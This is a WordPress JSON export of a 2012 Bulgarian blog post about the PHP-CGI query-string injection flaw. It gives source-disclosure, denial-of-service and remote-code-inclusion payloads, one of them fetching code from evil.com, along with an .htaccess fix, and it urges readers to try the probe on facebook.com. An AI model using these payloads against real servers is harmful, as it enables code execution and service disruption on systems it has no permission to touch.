{"id":439,"date":"2012-05-04T16:57:49","date_gmt":"2012-05-04T14:57:49","guid":{"rendered":"http:\/\/vmastera.com\/blog\/?p=439"},"modified":"2012-05-04T16:57:49","modified_gmt":"2012-05-04T14:57:49","slug":"facebook-cgi-exploit","status":"publish","type":"post","link":"https:\/\/vmastera.com\/blog\/facebook-cgi-exploit\/","title":{"rendered":"Facebook CGI exploit"},"content":{"rendered":"<p>\u0421 \u0434\u043d\u0435\u0448\u043d\u0430 \u0434\u0430\u0442\u0430 \u0441\u0435 \u043f\u043e\u044f\u0432\u0438 \u043c\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u043e\u0437\u0435\u043d \u0435\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0437\u0430 CGI, \u043a\u043e\u0439\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0430 \u0438\u0437\u043f\u044a\u043b\u043d\u044f\u0432\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e \u043f\u0440\u0435\u0437 \u0443\u0440\u043b \u0430\u0434\u0440\u0435\u0441\u0430.<br \/>\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u043c\u0430\u0442\u0435 \u0441\u0430\u0439\u0442 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u043d\u0430\u0442\u0430 \u0441\u0438 \u043c\u0430\u0448\u0438\u043d\u0430, \u043a\u043e\u0439\u0442\u043e \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430 mod_cgi \u0438\u043b\u0438 \u0435 \u043f\u0440\u0435\u0437 FastCGI \u0442\u043e \u0430\u043a\u043e \u0432\u044a\u0432\u0435\u0434\u0435\u0442\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u044a\u0440\u0430 &#8220;?-s&#8221; \u0442\u043e \u0449\u0435 \u0432\u0438\u0434\u0438\u0442\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 \u0432\u0430\u0448\u0438\u044f \u0444\u0430\u0439\u043b. \u041f\u0440\u0438\u043c\u0435\u0440: http:\/\/localhost\/index.php?-s. \u0427\u0440\u0435\u0437 \u0442\u0430\u0437\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442 \u043c\u043e\u0436\u0435\u0442\u0435 \u0434\u0430 \u0438\u0437\u043f\u044a\u043b\u043d\u0438\u0442\u0435 \u0434\u043e\u0440\u0438 \u043e\u0442\u0434\u0430\u043b\u0435\u0447\u0435\u043d\u043e \u0444\u0430\u0439\u043b \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u0438, \u0430\u043a\u043e \u0432\u043a\u0430\u0440\u0430\u0442\u0435 \u0441\u0430\u043c\u0438\u0442\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0438 \u0432 \u0438\u043d\u0438 \u0444\u0430\u0438\u043b. \u041f\u0440\u0438\u043c\u0435\u0440: \/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp:\/\/evil.com\/code.txt%20-n . \u0414\u0440\u0443\u0433\u043e \u0438\u0437\u043f\u044a\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0435\u0442\u043e \u043c\u043e\u0436\u0435 \u0434\u0430 \u043d\u0430\u0432\u0440\u0435\u0434\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u0430 \u0432\u0438 \u0435 DoS \u0430\u0442\u0430\u043a\u0430. \u041f\u0440\u0438\u043c\u0435\u0440: ?-T+100000.<\/p>\n<p>\u0420\u0435\u0448\u0435\u043d\u0438\u0435\u0442\u043e \u043d\u0430 \u0442\u043e\u0437\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0435 \u0447\u0440\u0435\u0437 .htaccess<br \/>\n<code>RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]<br \/>\nRewriteRule ^(.*) $1? [L]<\/code><\/p>\n<p>\u0412 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u043d\u0438\u044f \u0441\u0430\u0439\u0442 \u043d\u0430 php &#8211; php.net \u0435 \u043e\u0431\u044f\u0432\u0435\u043d\u043e \u0447\u0435 \u0441 \u044a\u043f\u0434\u0435\u0439\u0442 \u043a\u044a\u043c PHP 5.3.12 \u0438\u043b\u0438 PHP 5.4.2 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0435 \u043e\u043f\u0440\u0430\u0432\u044f \u043d\u043e \u0442\u043e\u0432\u0430 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0434\u043e\u0432\u0435\u0434\u0435 \u0434\u043e \u0441\u043f\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442\u0430 \u0432\u0438, \u0442\u044a\u0439 \u043a\u0430\u0442\u043e \u0438\u043c\u0430 \u043c\u043d\u043e\u0433\u043e \u0434\u0435\u043f\u0440\u0438\u043a\u0435\u0439\u0442\u0438\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p>\u0410 \u0441\u0435\u0433\u0430 \u043f\u0440\u043e\u0431\u0432\u0430\u0439\u0442\u0435 \u0441 <a href=\"https:\/\/www.facebook.com\/?-s\" alt=\"hack for facebook\"> https:\/\/www.facebook.com\/?-s <\/a><\/p>\n<p>\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u0438<br \/>\nHM<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0421 \u0434\u043d\u0435\u0448\u043d\u0430 \u0434\u0430\u0442\u0430 \u0441\u0435 \u043f\u043e\u044f\u0432\u0438 \u043c\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u043e\u0437\u0435\u043d \u0435\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0437\u0430 CGI, \u043a\u043e\u0439\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0430 \u0438\u0437\u043f\u044a\u043b\u043d\u044f\u0432\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e \u043f\u0440\u0435\u0437 \u0443\u0440\u043b \u0430\u0434\u0440\u0435\u0441\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u043c\u0430\u0442\u0435 \u0441\u0430\u0439\u0442 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u043d\u0430\u0442\u0430 \u0441\u0438 \u043c\u0430\u0448\u0438\u043d\u0430, \u043a\u043e\u0439\u0442\u043e \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430 mod_cgi \u0438\u043b\u0438 \u0435 \u043f\u0440\u0435\u0437 FastCGI \u0442\u043e \u0430\u043a\u043e \u0432\u044a\u0432\u0435\u0434\u0435\u0442\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u044a\u0440\u0430 &#8220;?-s&#8221; \u0442\u043e \u0449\u0435 \u0432\u0438\u0434\u0438\u0442\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 \u0432\u0430\u0448\u0438\u044f \u0444\u0430\u0439\u043b. \u041f\u0440\u0438\u043c\u0435\u0440: http:\/\/localhost\/index.php?-s. \u0427\u0440\u0435\u0437 \u0442\u0430\u0437\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442 \u043c\u043e\u0436\u0435\u0442\u0435 \u0434\u0430 \u0438\u0437\u043f\u044a\u043b\u043d\u0438\u0442\u0435 \u0434\u043e\u0440\u0438 \u043e\u0442\u0434\u0430\u043b\u0435\u0447\u0435\u043d\u043e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[104,53,105],"tags":[106,46,128],"_links":{"self":[{"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/posts\/439"}],"collection":[{"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/comments?post=439"}],"version-history":[{"count":2,"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/posts\/439\/revisions"}],"predecessor-version":[{"id":441,"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/posts\/439\/revisions\/441"}],"wp:attachment":[{"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/media?parent=439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/categories?post=439"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/vmastera.com\/blog\/wp-json\/wp\/v2\/tags?post=439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}